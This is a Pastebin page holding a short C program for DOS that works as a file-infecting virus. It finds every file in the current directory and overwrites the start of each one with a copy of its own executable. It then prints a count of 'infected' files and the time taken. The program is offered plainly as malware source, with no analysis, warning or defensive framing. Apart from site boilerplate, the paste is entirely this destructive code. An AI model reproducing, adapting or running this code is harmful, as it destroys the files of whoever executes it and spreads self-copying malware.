a guest Jan 24th, 2019 71 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include<stdio.h> #include<io.h> #include<dos.h>
  2. #include<dir.h> #include<conio.h> #include<time.h>
  3. FILE *virus,*host; int done,a=0;
  4. unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end;
  5. void main() { st=clock(); clrscr(); done=findfirst("*.*",&ffblk,0);
  6. while(!done) { virus=fopen(_argv[0],"rb"); host=fopen(ffblk.ff_name,"rb+");
  7. if(host==NULL) goto next; x=89088; printf("Infecting %s\n",ffblk.ff_name,a);
  8. while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; }
  9. fread(buff,x,1,virus); fwrite(buff,x,1,host); a++;
  10. next: { fcloseall(); done=findnext(&ffblk); } }
  11. printf("DONE! (Total Files Infected= %d)",a); end=clock();
  12. printf("TIME TAKEN=%f SEC\n", (end-st)/CLK_TCK); getch(); }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand